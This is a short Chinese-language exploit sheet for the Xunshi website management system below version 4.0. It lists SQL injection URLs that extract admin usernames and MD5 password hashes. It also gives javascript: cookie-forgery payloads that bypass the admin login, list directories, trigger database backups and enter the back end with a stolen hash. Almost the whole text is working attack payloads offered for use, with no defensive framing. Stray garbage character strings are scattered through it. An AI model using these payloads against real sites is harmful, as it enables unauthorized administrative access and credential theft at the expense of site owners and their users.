讯时网站管理系统4.0以下漏洞

admin

一、注入
. C3 G6 `3 j$ M, ^& W1、news_more.asp?lm=2 %41nd 1=2 union %53elect 1,2,3,0x3b%26user,0x3b%26pass,6,7,8 %46rom %41dmin union %53elect * %46rom lm where 1=2
- B2 u) \: s- O5 u) C
2、第一步：javascript:alert(document.cookie="adminuser=admin");alert(document.cookie="admindj=1");location.href="admin_chk.asp"
第二步：请求:admin_lm_edit.asp?id=1 %41nd 1=2 union %53elect 1,2,3,4,id%260x3b%26user%260x3b%26pass,6,7,8%20%46rom%20%41dmin
可得到用户名和MD5加密码的密码。
4 P; ?) }$ A! f3 K: k5 b" Z
二、cookies欺骗

9 B0 P  ^# u7 Y2 Y! L1、直接进后台，适用于较低版本，一般login.asp和admin_index.asp在同一目录下的版本有此漏洞.
% @2 l5 R$ }5 S) R3 A) i6 w# Qjavascript:alert(document.cookie="adminuser="+escape("'or'='or'"));alert(document.cookie="adminpass="+escape("'or'='or'"));alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
# ]4 ~, b3 S5 ~( B
+ o/ i% l5 s2 E/ }5 N. n2、列目录.
6 r9 z6 h+ l8 h. Ujavascript:alert(document.cookie="admindj="+escape("1"));location.href="edit/admin_uploadfile.asp?dir=.."
* _$ L9 n3 }- d; }6 Y
3、数据库备份(适用性好像比较低.)
javascript:alert(document.cookie="admindj="+escape("1"));location.href="admin_db_backup.asp?action=backupdata"
# e0 a6 N* ^  p
3 r) e( g+ A# f4、得到MD5密码解不了密进后台方法
javascript:alert(document.cookie="adminuser="+escape("用户名")); alert(document.cookie="adminpass="+escape("md5密码")); alert(document.cookie="admindj="+escape("1"));location.href="admin_index.asp"
  l4 W' l$ G$ p3 f6 L# Y! {. T